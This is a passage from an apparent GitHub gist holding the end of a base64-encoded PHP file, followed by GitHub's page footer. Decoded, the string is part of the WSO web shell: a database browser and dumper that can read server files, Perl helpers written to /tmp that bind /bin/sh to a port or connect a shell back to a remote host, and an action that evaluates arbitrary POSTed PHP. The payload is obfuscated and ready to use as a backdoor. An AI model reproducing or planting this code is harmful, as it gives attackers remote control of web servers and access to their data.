JzxvcHRpb24gdmFsdWU9IicuJHZhbHVlLiciICcuKCR2YWx1ZT09JF9QT1NUWydzcWxfYmFzZSddPydzZWxlY3RlZCc6JycpLic+Jy4kdmFsdWUuJzwvb3B0aW9uPic7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgICAgIGVjaG8gJzwvc2VsZWN0Pic7IA0KICAgICAgICB9IA0KICAgICAgICBlbHNlIGVjaG8gJHRtcDsgDQogICAgfWVsc2UNCiAgICAgICAgZWNobyAkdG1wOyANCiAgICBlY2hvICI8L3RkPiANCiAgDQogICAgICAgICAgICAgICAgPHRkPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nIG9uY2xpY2s9J2ZzKGQuc2YpOyc+PC90ZD4gDQogICAgICAgICAgICAgICAgPHRkPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9c3FsX2NvdW50IHZhbHVlPSdvbiciIC4gKGVtcHR5KCRfUE9TVFsnc3FsX2NvdW50J10pPycnOicgY2hlY2tlZCcpIC4gIj4gY291bnQgdGhlIG51bWJlciBvZiByb3dzPC90ZD4gDQogICAgICAgICAgICA8L3RyPiANCiAgICAgICAgPC90YWJsZT4gDQogICAgICAgIDxzY3JpcHQ+IA0KICAgICAgICAgICAgc19kYj0nIi5AYWRkc2xhc2hlcygkX1BPU1RbJ3NxbF9iYXNlJ10pLiInOyANCiAgICAgICAgICAgIGZ1bmN0aW9uIGZzKGYpIHsgDQogICAgICAgICAgICAgICAgaWYoZi5zcWxfYmFzZS52YWx1ZSE9c19kYikgeyBmLm9uc3VibWl0ID0gZnVuY3Rpb24oKSB7fTsgDQogICAgICAgICAgICAgICAgICAgIGlmKGYucDEpIGYucDEudmFsdWU9Jyc7IA0KICAgICAgICAgICAgICAgICAgICBpZihmLnAyKSBmLnAyLnZhbHVlPScnOyANCiAgICAgICAgICAgICAgICAgICAgaWYoZi5wMykgZi5wMy52YWx1ZT0nJzsgDQogICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgIH0gDQogICAgICAgICAgICBmdW5jdGlvbiBzdCh0LGwpIHsgDQogICAgICAgICAgICAgICAgZC5zZi5wMS52YWx1ZSA9ICdzZWxlY3QnOyANCiAgICAgICAgICAgICAgICBkLnNmLnAyLnZhbHVlID0gdDsgDQogICAgICAgICAgICAgICAgaWYobCAmJiBkLnNmLnAzKSBkLnNmLnAzLnZhbHVlID0gbDsgDQogICAgICAgICAgICAgICAgZC5zZi5zdWJtaXQoKTsgDQogICAgICAgICAgICB9IA0KICAgICAgICAgICAgZnVuY3Rpb24gaXMoKSB7IA0KICAgICAgICAgICAgICAgIGZvcihpPTA7aTxkLnNmLmVsZW1lbnRzWyd0YmxbXSddLmxlbmd0aDsrK2kpIA0KICAgICAgICAgICAgICAgICAgICBkLnNmLmVsZW1lbnRzWyd0YmxbXSddW2ldLmNoZWNrZWQgPSAhZC5zZi5lbGVtZW50c1sndGJsW10nXVtpXS5jaGVja2VkOyANCiAgICAgICAgICAgIH0gDQogICAgICAgIDwvc2NyaXB0PiI7IA0KICAgIGlmKGlzc2V0KCRkYikgJiYgJGRiLT5saW5rKXsgDQogICAgICAgIGVjaG8gIjxici8+PHRhYmxlIHdpZHRoPTEwMCUgY2VsbHBhZGRpbmc9MiBjZWxsc3BhY2luZz0wPiI7IA0KICAgICAgICAgICAgaWYoIWVtcHR5KCRfUE9TVFsnc3FsX2Jhc2UnXSkpeyANCiAgICAgICAgICAgICAgICAkZGItPnNlbGVjdGRiKCRfUE9TVFsnc3FsX2Jhc2UnXSk7IA0KICAgICAgICAgICAgICAgIGVjaG8gIjx0cj48dGQgd2lkdGg9MSBzdHlsZT0nYm9yZGVyLXRvcDoycHggc29saWQgIzY2NjsnPjxzcGFuPlRhYmxlczo8L3NwYW4+PGJyPjxicj4iOyANCiAgICAgICAgICAgICAgICAkdGJsc19yZXMgPSAkZGItPmxpc3RUYWJsZXMoKTsgDQogICAgICAgICAgICAgICAgd2hpbGUoJGl0ZW0gPSAkZGItPmZldGNoKCR0YmxzX3JlcykpIHsgDQogICAgICAgICAgICAgICAgICAgIGxpc3QoJGtleSwgJHZhbHVlKSA9IGVhY2goJGl0ZW0pOyANCiAgICAgICAgICAgICAgICAgICAgaWYoIWVtcHR5KCRfUE9TVFsnc3FsX2NvdW50J10pKSANCiAgICAgICAgICAgICAgICAgICAgICAgICRuID0gJGRiLT5mZXRjaCgkZGItPnF1ZXJ5KCdTRUxFQ1QgQ09VTlQoKikgYXMgbiBGUk9NICcuJHZhbHVlLicnKSk7IA0KICAgICAgICAgICAgICAgICAgICAkdmFsdWUgPSBodG1sc3BlY2lhbGNoYXJzKCR2YWx1ZSk7IA0KICAgICAgICAgICAgICAgICAgICBlY2hvICI8bm9icj48aW5wdXQgdHlwZT0nY2hlY2tib3gnIG5hbWU9J3RibFtdJyB2YWx1ZT0nIi4kdmFsdWUuIic+Jm5ic3A7PGEgaHJlZj0jIG9uY2xpY2s9InN0KCciLiR2YWx1ZS4iJywxKSI+Ii4kdmFsdWUuIjwvYT4iIC4gKGVtcHR5KCRfUE9TVFsnc3FsX2NvdW50J10pPycmbmJzcDsnOiIgPHNtYWxsPih7JG5bJ24nXX0pPC9zbWFsbD4iKSAuICI8L25vYnI+PGJyPiI7IA0KICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgZWNobyAiPGlucHV0IHR5cGU9J2NoZWNrYm94JyBvbmNsaWNrPSdpcygpOyc+IDxpbnB1dCB0eXBlPWJ1dHRvbiB2YWx1ZT0nRHVtcCcgb25jbGljaz0nZG9jdW1lbnQuc2YucDIudmFsdWU9ImRvd25sb2FkIjtkb2N1bWVudC5zZi5zdWJtaXQoKTsnPjxicj5GaWxlIHBhdGg6PGlucHV0IHR5cGU9dGV4dCBuYW1lPWZpbGUgdmFsdWU9J2R1bXAuc3FsJz48L3RkPjx0ZCBzdHlsZT0nYm9yZGVyLXRvcDoycHggc29saWQgIzY2NjsnPiI7IA0KICAgICAgICAgICAgICAgIGlmKEAkX1BPU1RbJ3AxJ10gPT0gJ3NlbGVjdCcpIHsgDQogICAgICAgICAgICAgICAgICAgICRfUE9TVFsncDEnXSA9ICdxdWVyeSc7IA0KICAgICAgICAgICAgICAgICAgICAkX1BPU1RbJ3AzJ10gPSAkX1BPU1RbJ3AzJ10/JF9QT1NUWydwMyddOjE7IA0KICAgICAgICAgICAgICAgICAgICAkZGItPnF1ZXJ5KCdTRUxFQ1QgQ09VTlQoKikgYXMgbiBGUk9NICcgLiAkX1BPU1RbJ3AyJ10pOyANCiAgICAgICAgICAgICAgICAgICAgJG51bSA9ICRkYi0+ZmV0Y2goKTsgDQogICAgICAgICAgICAgICAgICAgICRwYWdlcyA9IGNlaWwoJG51bVsnbiddIC8gMzApOyANCiAgICAgICAgICAgICAgICAgICAgZWNobyAiPHNjcmlwdD5kLnNmLm9uc3VibWl0PWZ1bmN0aW9uKCl7c3QoIiIgLiAkX1BPU1RbJ3AyJ10gLiAiIiwgZC5zZi5wMy52YWx1ZSl9PC9zY3JpcHQ+PHNwYW4+Ii4kX1BPU1RbJ3AyJ10uIjwvc3Bhbj4gKHskbnVtWyduJ119IHJlY29yZHMpIFBhZ2UgIyA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9J3AzJyB2YWx1ZT0iIC4gKChpbnQpJF9QT1NUWydwMyddKSAuICI+IjsgDQogICAgICAgICAgICAgICAgICAgIGVjaG8gIiBvZiAkcGFnZXMiOyANCiAgICAgICAgICAgICAgICAgICAgaWYoJF9QT1NUWydwMyddID4gMSkgDQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICIgPGEgaHJlZj0jIG9uY2xpY2s9J3N0KCIiIC4gJF9QT1NUWydwMiddIC4gJyIsICcgLiAoJF9QT1NUWydwMyddLTEpIC4gIiknPiZsdDsgUHJldjwvYT4iOyANCiAgICAgICAgICAgICAgICAgICAgaWYoJF9QT1NUWydwMyddIDwgJHBhZ2VzKSANCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIiA8YSBocmVmPSMgb25jbGljaz0nc3QoIiIgLiAkX1BPU1RbJ3AyJ10gLiAnIiwgJyAuICgkX1BPU1RbJ3AzJ10rMSkgLiAiKSc+TmV4dCAmZ3Q7PC9hPiI7IA0KICAgICAgICAgICAgICAgICAgICAkX1BPU1RbJ3AzJ10tLTsgDQogICAgICAgICAgICAgICAgICAgIGlmKCRfUE9TVFsndHlwZSddPT0ncGdzcWwnKSANCiAgICAgICAgICAgICAgICAgICAgICAgICRfUE9TVFsncDInXSA9ICdTRUxFQ1QgKiBGUk9NICcuJF9QT1NUWydwMiddLicgTElNSVQgMzAgT0ZGU0VUICcuKCRfUE9TVFsncDMnXSozMCk7IA0KICAgICAgICAgICAgICAgICAgICBlbHNlDQogICAgICAgICAgICAgICAgICAgICAgICAkX1BPU1RbJ3AyJ10gPSAnU0VMRUNUICogRlJPTSBgJy4kX1BPU1RbJ3AyJ10uJ2AgTElNSVQgJy4oJF9QT1NUWydwMyddKjMwKS4nLDMwJzsgDQogICAgICAgICAgICAgICAgICAgIGVjaG8gIjxicj48YnI+IjsgDQogICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICBpZigoQCRfUE9TVFsncDEnXSA9PSAncXVlcnknKSAmJiAhZW1wdHkoJF9QT1NUWydwMiddKSkgeyANCiAgICAgICAgICAgICAgICAgICAgJGRiLT5xdWVyeShAJF9QT1NUWydwMiddKTsgDQogICAgICAgICAgICAgICAgICAgIGlmKCRkYi0+cmVzICE9PSBmYWxzZSkgeyANCiAgICAgICAgICAgICAgICAgICAgICAgICR0aXRsZSA9IGZhbHNlOyANCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzx0YWJsZSB3aWR0aD0xMDAlIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9MiBjbGFzcz1tYWluIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiMyOTI5MjkiPic7IA0KICAgICAgICAgICAgICAgICAgICAgICAgJGxpbmUgPSAxOyANCiAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxlKCRpdGVtID0gJGRiLT5mZXRjaCgpKSAgeyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZighJHRpdGxlKSB7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8dHI+JzsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJGl0ZW0gYXMgJGtleSA9PiAkdmFsdWUpIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPHRoPicuJGtleS4nPC90aD4nOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcmVzZXQoJGl0ZW0pOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRpdGxlPXRydWU7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8L3RyPjx0cj4nOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGxpbmUgPSAyOyANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzx0ciBjbGFzcz0ibCcuJGxpbmUuJyI+JzsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGxpbmUgPSAkbGluZT09MT8yOjE7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJGl0ZW0gYXMgJGtleSA9PiAkdmFsdWUpIHsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCR2YWx1ZSA9PSBudWxsKSANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzx0ZD48aT5udWxsPC9pPjwvdGQ+JzsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzx0ZD4nLm5sMmJyKGh0bWxzcGVjaWFsY2hhcnMoJHZhbHVlKSkuJzwvdGQ+JzsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8L3RyPic7IA0KICAgICAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzwvdGFibGU+JzsgDQogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7IA0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGRpdj48Yj5FcnJvcjo8L2I+ICcuaHRtbHNwZWNpYWxjaGFycygkZGItPmVycm9yKCkpLic8L2Rpdj4nOyANCiAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgIGVjaG8gIjxicj48L2Zvcm0+PGZvcm0gb25zdWJtaXQ9J2Quc2YucDEudmFsdWU9InF1ZXJ5IjtkLnNmLnAyLnZhbHVlPXRoaXMucXVlcnkudmFsdWU7ZG9jdW1lbnQuc2Yuc3VibWl0KCk7cmV0dXJuIGZhbHNlOyc+PHRleHRhcmVhIG5hbWU9J3F1ZXJ5JyBzdHlsZT0nd2lkdGg6MTAwJTtoZWlnaHQ6MTAwcHgnPiI7IA0KICAgICAgICAgICAgICAgIGlmKCFlbXB0eSgkX1BPU1RbJ3AyJ10pICYmICgkX1BPU1RbJ3AxJ10gIT0gJ2xvYWRmaWxlJykpIA0KICAgICAgICAgICAgICAgICAgICBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMiddKTsgDQogICAgICAgICAgICAgICAgZWNobyAiPC90ZXh0YXJlYT48YnIvPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nRXhlY3V0ZSc+IjsgDQogICAgICAgICAgICAgICAgZWNobyAiPC90ZD48L3RyPiI7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgICAgIGVjaG8gIjwvdGFibGU+PC9mb3JtPjxici8+IjsgDQogICAgICAgICAgICBpZigkX1BPU1RbJ3R5cGUnXT09J215c3FsJykgeyANCiAgICAgICAgICAgICAgICAkZGItPnF1ZXJ5KCJTRUxFQ1QgMSBGUk9NIG15c3FsLnVzZXIgV0hFUkUgY29uY2F0KGB1c2VyYCwgJ0AnLCBgaG9zdGApID0gVVNFUigpIEFORCBgRmlsZV9wcml2YCA9ICd5JyIpOyANCiAgICAgICAgICAgICAgICBpZigkZGItPmZldGNoKCkpIA0KICAgICAgICAgICAgICAgICAgICBlY2hvICI8Zm9ybSBvbnN1Ym1pdD0nZC5zZi5wMS52YWx1ZT0ibG9hZGZpbGUiO2RvY3VtZW50LnNmLnAyLnZhbHVlPXRoaXMuZi52YWx1ZTtkb2N1bWVudC5zZi5zdWJtaXQoKTtyZXR1cm4gZmFsc2U7Jz48c3Bhbj5Mb2FkIGZpbGU8L3NwYW4+IDxpbnB1dCAgY2xhc3M9J3Rvb2xzSW5wJyB0eXBlPXRleHQgbmFtZT1mPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nPjwvZm9ybT4iOyANCiAgICAgICAgICAgIH0gDQogICAgICAgICAgICBpZihAJF9QT1NUWydwMSddID09ICdsb2FkZmlsZScpIHsgDQogICAgICAgICAgICAgICAgJGZpbGUgPSAkZGItPmxvYWRGaWxlKCRfUE9TVFsncDInXSk7IA0KICAgICAgICAgICAgICAgIGVjaG8gJzxwcmUgY2xhc3M9bWwxPicuaHRtbHNwZWNpYWxjaGFycygkZmlsZVsnZmlsZSddKS4nPC9wcmU+JzsgDQogICAgICAgICAgICB9IA0KICAgIH0gZWxzZSB7IA0KICAgICAgICBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGRiLT5lcnJvcigpKTsgDQogICAgfSANCiAgICBlY2hvICc8L2Rpdj4nOyANCiAgICB3c29Gb290ZXIoKTsgDQp9IA0KZnVuY3Rpb24gYWN0aW9uTmV0d29yaygpIHsgDQogICAgd3NvSGVhZGVyKCk7IA0KICAgICRiYWNrX2Nvbm5lY3RfcD0iSXlFdmRYTnlMMkpwYmk5d1pYSnNEUXAxYzJVZ1UyOWphMlYwT3cwS0pHbGhaR1J5UFdsdVpYUmZZWFJ2Ymlna1FWSkhWbHN3WFNrZ2ZId2daR2xsS0NKRmNuSnZjam9nSkNGY2JpSXBPdzBLSkhCaFpHUnlQWE52WTJ0aFpHUnlYMmx1S0NSQlVrZFdXekZkTENBa2FXRmtaSElwSUh4OElHUnBaU2dpUlhKeWIzSTZJQ1FoWEc0aUtUc05DaVJ3Y205MGJ6MW5aWFJ3Y205MGIySjVibUZ0WlNnbmRHTndKeWs3RFFwemIyTnJaWFFvVTA5RFMwVlVMQ0JRUmw5SlRrVlVMQ0JUVDBOTFgxTlVVa1ZCVFN3Z0pIQnliM1J2S1NCOGZDQmthV1VvSWtWeWNtOXlPaUFrSVZ4dUlpazdEUXBqYjI1dVpXTjBLRk5QUTB0RlZDd2dKSEJoWkdSeUtTQjhmQ0JrYVdVb0lrVnljbTl5T2lBa0lWeHVJaWs3RFFwdmNHVnVLRk5VUkVsT0xDQWlQaVpUVDBOTFJWUWlLVHNOQ205d1pXNG9VMVJFVDFWVUxDQWlQaVpUVDBOTFJWUWlLVHNOQ205d1pXNG9VMVJFUlZKU0xDQWlQaVpUVDBOTFJWUWlLVHNOQ25ONWMzUmxiU2duTDJKcGJpOXphQ0F0YVNjcE93MEtZMnh2YzJVb1UxUkVTVTRwT3cwS1kyeHZjMlVvVTFSRVQxVlVLVHNOQ21Oc2IzTmxLRk5VUkVWU1VpazciOyANCiAgICAkYmluZF9wb3J0X3A9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFva1UwaEZURXc5SWk5aWFXNHZjMmdnTFdraU93MEthV1lnS0VCQlVrZFdJRHdnTVNrZ2V5QmxlR2wwS0RFcE95QjlEUXAxYzJVZ1UyOWphMlYwT3cwS2MyOWphMlYwS0ZNc0psQkdYMGxPUlZRc0psTlBRMHRmVTFSU1JVRk5MR2RsZEhCeWIzUnZZbmx1WVcxbEtDZDBZM0FuS1NrZ2ZId2daR2xsSUNKRFlXNTBJR055WldGMFpTQnpiMk5yWlhSY2JpSTdEUXB6WlhSemIyTnJiM0IwS0ZNc1UwOU1YMU5QUTB0RlZDeFRUMTlTUlZWVFJVRkVSRklzTVNrN0RRcGlhVzVrS0ZNc2MyOWphMkZrWkhKZmFXNG9KRUZTUjFaYk1GMHNTVTVCUkVSU1gwRk9XU2twSUh4OElHUnBaU0FpUTJGdWRDQnZjR1Z1SUhCdmNuUmNiaUk3RFFwc2FYTjBaVzRvVXl3ektTQjhmQ0JrYVdVZ0lrTmhiblFnYkdsemRHVnVJSEJ2Y25SY2JpSTdEUXAzYUdsc1pTZ3hLU0I3RFFvSllXTmpaWEIwS0VOUFRrNHNVeWs3RFFvSmFXWW9JU2drY0dsa1BXWnZjbXNwS1NCN0RRb0pDV1JwWlNBaVEyRnVibTkwSUdadmNtc2lJR2xtSUNnaFpHVm1hVzVsWkNBa2NHbGtLVHNOQ2drSmIzQmxiaUJUVkVSSlRpd2lQQ1pEVDA1T0lqc05DZ2tKYjNCbGJpQlRWRVJQVlZRc0lqNG1RMDlPVGlJN0RRb0pDVzl3Wlc0Z1UxUkVSVkpTTENJK0prTlBUazRpT3cwS0NRbGxlR1ZqSUNSVFNFVk1UQ0I4ZkNCa2FXVWdjSEpwYm5RZ1EwOU9UaUFpUTJGdWRDQmxlR1ZqZFhSbElDUlRTRVZNVEZ4dUlqc05DZ2tKWTJ4dmMyVWdRMDlPVGpzTkNna0paWGhwZENBd093MEtDWDBOQ24wPSI7IA0KICAgIGVjaG8gIjxoMT5OZXR3b3JrIHRvb2xzPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+IA0KICANCiAgICA8Zm9ybSBuYW1lPSduZnAnIG9uU3VibWl0PSJnKG51bGwsbnVsbCwnYnBwJyx0aGlzLnBvcnQudmFsdWUpO3JldHVybiBmYWxzZTsiPiANCiAgICA8c3Bhbj5CaW5kIHBvcnQgdG8gL2Jpbi9zaCBbcGVybF08L3NwYW4+PGJyLz4gDQogICAgUG9ydDogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3BvcnQnIHZhbHVlPSczMTMzNyc+IDxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nPiANCiAgICA8L2Zvcm0+IA0KICAgIDxmb3JtIG5hbWU9J25mcCcgb25TdWJtaXQ9ImcobnVsbCxudWxsLCdiY3AnLHRoaXMuc2VydmVyLnZhbHVlLHRoaXMucG9ydC52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+IA0KICAgIDxzcGFuPkJhY2stY29ubmVjdCAgW3BlcmxdPC9zcGFuPjxici8+IA0KICAgIFNlcnZlcjogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3NlcnZlcicgdmFsdWU9JyIuICRfU0VSVkVSWydSRU1PVEVfQUREUiddIC4iJz4gUG9ydDogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3BvcnQnIHZhbHVlPSczMTMzNyc+IDxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nPiANCiAgDQogICAgPC9mb3JtPjxicj4iOyANCiAgICBpZihpc3NldCgkX1BPU1RbJ3AxJ10pKSB7IA0KICAgICAgICBmdW5jdGlvbiBjZigkZiwkdCkgeyANCiAgICAgICAgICAgICR3ID0gQGZvcGVuKCRmLCJ3Iikgb3IgQGZ1bmN0aW9uX2V4aXN0cygnZmlsZV9wdXRfY29udGVudHMnKTsgDQogICAgICAgICAgICBpZigkdyl7IA0KICAgICAgICAgICAgICAgIEBmd3JpdGUoJHcsQGJhc2U2NF9kZWNvZGUoJHQpKTsgDQogICAgICAgICAgICAgICAgQGZjbG9zZSgkdyk7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgfSANCiAgICAgICAgaWYoJF9QT1NUWydwMSddID09ICdicHAnKSB7IA0KICAgICAgICAgICAgY2YoIi90bXAvYnAucGwiLCRiaW5kX3BvcnRfcCk7IA0KICAgICAgICAgICAgJG91dCA9IHdzb0V4KCJwZXJsIC90bXAvYnAucGwgIi4kX1BPU1RbJ3AyJ10uIiAxPi9kZXYvbnVsbCAyPiYxICYiKTsgDQogICAgICAgICAgICBlY2hvICI8cHJlIGNsYXNzPW1sMT4kb3V0biIud3NvRXgoInBzIGF1eCB8IGdyZXAgYnAucGwiKS4iPC9wcmU+IjsgDQogICAgICAgICAgICB1bmxpbmsoIi90bXAvYnAucGwiKTsgDQogICAgICAgIH0gDQogICAgICAgIGlmKCRfUE9TVFsncDEnXSA9PSAnYmNwJykgeyANCiAgICAgICAgICAgIGNmKCIvdG1wL2JjLnBsIiwkYmFja19jb25uZWN0X3ApOyANCiAgICAgICAgICAgICRvdXQgPSB3c29FeCgicGVybCAvdG1wL2JjLnBsICIuJF9QT1NUWydwMiddLiIgIi4kX1BPU1RbJ3AzJ10uIiAxPi9kZXYvbnVsbCAyPiYxICYiKTsgDQogICAgICAgICAgICBlY2hvICI8cHJlIGNsYXNzPW1sMT4kb3V0biIud3NvRXgoInBzIGF1eCB8IGdyZXAgYmMucGwiKS4iPC9wcmU+IjsgDQogICAgICAgICAgICB1bmxpbmsoIi90bXAvYmMucGwiKTsgDQogICAgICAgIH0gDQogICAgfSANCiAgICBlY2hvICc8L2Rpdj4nOyANCiAgICB3c29Gb290ZXIoKTsgDQp9IA0KZnVuY3Rpb24gYWN0aW9uUkMoKSB7IA0KICAgIGlmKCFAJF9QT1NUWydwMSddKSB7IA0KICAgICAgICAkYSA9IGFycmF5KCANCiAgICAgICAgICAgICJ1bmFtZSIgPT4gcGhwX3VuYW1lKCksIA0KICAgICAgICAgICAgInBocF92ZXJzaW9uIiA9PiBwaHB2ZXJzaW9uKCksIA0KICAgICAgICAgICAgIndzb192ZXJzaW9uIiA9PiBXU09fVkVSU0lPTiwgDQogICAgICAgICAgICAic2FmZW1vZGUiID0+IEBpbmlfZ2V0KCdzYWZlX21vZGUnKSANCiAgICAgICAgKTsgDQogICAgICAgIGVjaG8gc2VyaWFsaXplKCRhKTsgDQogICAgfSBlbHNlIHsgDQogICAgICAgIGV2YWwoJF9QT1NUWydwMSddKTsgDQogICAgfSANCn0gDQppZiggZW1wdHkoJF9QT1NUWydhJ10pICkgDQogICAgaWYoaXNzZXQoJGRlZmF1bHRfYWN0aW9uKSAmJiBmdW5jdGlvbl9leGlzdHMoJ2FjdGlvbicgLiAkZGVmYXVsdF9hY3Rpb24pKSANCiAgICAgICAgJF9QT1NUWydhJ10gPSAkZGVmYXVsdF9hY3Rpb247IA0KICAgIGVsc2UNCiAgICAgICAgJF9QT1NUWydhJ10gPSAnU2VjSW5mbyc7IA0KaWYoICFlbXB0eSgkX1BPU1RbJ2EnXSkgJiYgZnVuY3Rpb25fZXhpc3RzKCdhY3Rpb24nIC4gJF9QT1NUWydhJ10pICkgDQogICAgY2FsbF91c2VyX2Z1bmMoJ2FjdGlvbicgLiAkX1BPU1RbJ2EnXSk7IA0KZnVuY3Rpb24gRmV0Y2hVUkwoJHVybCkgeyANCiAgICAgICAgICRjaCA9IGN1cmxfaW5pdCgpOyANCiAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSQUdFTlQsICIkY2hlYWRlciIpOyANCiAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMSk7IA0KICAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgZmFsc2UpOyANCiAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICR1cmwpOyANCiAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7IA0KICAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1RJTUVPVVQsIDMwKTsgDQogICAgICAgICAkZGF0YSA9IGN1cmxfZXhlYygkY2gpOyANCiAgICAgICAgIGlmKCEkZGF0YSkgeyANCiAgICAgICAgICAgIHJldHVybiBmYWxzZTsgDQogICAgICAgICB9IA0KICAgICAgICAgcmV0dXJuICRkYXRhOyANCiAgICAgIH0gDQpleGl0Ow==")); ?>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment